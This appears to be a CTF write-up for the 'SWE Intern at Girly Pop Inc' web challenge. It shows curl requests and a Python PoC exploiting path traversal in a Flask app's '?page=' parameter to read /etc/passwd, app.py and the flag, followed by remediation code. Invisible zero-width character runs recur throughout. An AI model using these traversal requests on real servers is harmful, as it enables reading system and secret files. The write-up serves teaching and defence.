← Back to Writeups
CUSTOMEasyWeb

SWE Intern at Girly Pop Inc — Writeup

XESXOR9/2/20264 min read
#web#custom#easy

SWE Intern at Girly Pop Inc — Writeup

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: web

Summary

Walkthrough of the CUSTOM Web SWE Intern at Girly Pop Inc — Writeup. Task: Flask web application JWT Studio with file viewing endpoint. Solution: Exploited LFI via path traversal in the page parameter to read README.md containing the flag.

Event: Scarlet CTF Category: Web Difficulty: Easy Flag: RUSEC{REDACTED} Date: 2026-01-09


Description

The challenge provides a Flask-based web application "JWT Studio". The goal is to find the flag by exploiting vulnerabilities in the web application.


Reconnaissance

Tools

  • curl — for testing HTTP requests
  • Burp Suite / OWASP ZAP — for traffic analysis (optional)
  • wfuzz — for directory fuzzing (not needed)

Application Analysis

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When accessing the main page, we see the "JWT Studio" interface with several functions:

http://<target>/ — JWT Studio main page
http://<target>/view?page= — Endpoint for viewing files

Let's try passing the page parameter:

bash
# Basic endpoint check
curl "http://<target>/view?page=index"
# Response: contents of index.html

# Path traversal check
curl "http://<target>/view?page=../app.py"
# Response: Flask application source code

Vulnerability Discovery

LFI via Path Traversal

When passing ../ in the page parameter, the server returns file contents outside the web application's root directory. This is a classic Local File Inclusion (LFI) vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation example:

bash
# Reading password file (didn't work - no access)
curl "http://<target>/view?page=../etc/passwd"

# Reading application source code
curl "http://<target>/view?page=../app.py"

Exploitation

Analyzing app.py Source Code

From the read app.py file we get:

python
from flask import Flask, request, render_template, session, redirect, url_for
import jwt

app = Flask(__name__)

# HARDCODED SECRET KEY — critical vulnerability!
SECRET_KEY = 'f0und_my_k3y_1_gu3$$'

@app.route('/view')
def view():
    filename = request.args.get('page', 'index.html')
    # Path traversal — no path validation
    try:
        with open(filename, 'r') as f:
            content = f.read()
        return content
    except:
        return "File not found"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ... rest of the application code

Discovered vulnerabilities:

  1. LFI via path traversal — no sanitization of the page parameter
  2. Hardcoded SECRET_KEY — secret key committed to the repository

Getting the Flag

Searching for the Flag File

Let's try reading various project files:

bash
# Reading README.md with the flag
curl "http://<target>/view?page=../README.md"

README.md contents:

# JWT Studio

A simple JWT token generator and validator.

## Setup
1. Clone the repository
2. Install dependencies: `pip install -r requirements.txt`
3. Run the app: `python app.py`
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

## Configuration
The app uses a hardcoded SECRET_KEY for JWT operations.
SECRET_KEY = 'f0und_my_k3y_1_gu3$$'

## Full PoC Script

```python
#!/usr/bin/env python3
"""
SWE Intern at Girly Pop Inc - LFI Exploit
Event: Scarlet CTF
Category: Web
"""

import requests
import sys

TARGET = "http://<target>"
ENCODING = "utf-8"

def exploit():
    print("[*] SWE Intern at Girly Pop Inc - LFI Exploit")
    print("-" * 50)

    # Read README.md with the flag
    print("[+] Reading README.md via LFI...")
    url = f"{TARGET}/view?page=../README.md"
    response = requests.get(url)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if response.status_code == 200:
        content = response.text
        print("\n[README.md Content]")
        print(content)

        # Search for flag in response
        if "RUSEC{" in content:
            start = content.find("RUSEC{")
            end = content.find("}", start) + 1
            flag = content[start:end]
            print(f"\n[+] FLAG FOUND: {flag}")
    else:
        print(f"[-] Error: HTTP {response.status_code}")

if __name__ == "__main__":
    exploit()

Vulnerability Remediation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. File Path Validation

python
import os
from flask import abort

@app.route('/view')
def view():
    filename = request.args.get('page', 'index.html')

    # Validation: only safe paths
    base_dir = os.path.dirname(os.path.abspath(__file__))
    safe_path = os.path.normpath(os.path.join(base_dir, filename))

    # Check that path is inside base directory
    if not safe_path.startswith(base_dir):
        abort(403, "Access denied")

    try:
        with open(safe_path, 'r') as f:
            content = f.read()
        return content
    except:
        abort(404, "File not found")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Removing Hardcoded SECRET_KEY

python
import os

# Load from environment variables
SECRET_KEY = os.environ.get('JWT_SECRET_KEY')

if not SECRET_KEY:
    raise ValueError("JWT_SECRET_KEY environment variable not set")

3. Using .env File (for development)

bash
# .env file (add to .gitignore!)
JWT_SECRET_KEY=your_super_secret_key_here
python
from dotenv import load_dotenv
load_dotenv()

4. Adding to .gitignore

.env
*.pyc
__pycache__/
.env

Vulnerability Indicators

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Look for LFI with path traversal when:

  • URL contains parameters for loading files (?page=, ?file=, ?path=)
  • Application allows reading files via HTTP
  • No explicit file extension restrictions
  • Server returns different content for ../etc/passwd or ../app.py

Key Takeaways

ProblemSolution
LFI via path traversalPath validation, file whitelisting
Hardcoded secretsEnvironment variables, secrets management
Repository compromise.gitignore, secrets scanning
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering web was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-09 • CUSTOM • SWE Intern at Girly Pop Inc — Writeup • Difficulty: Easy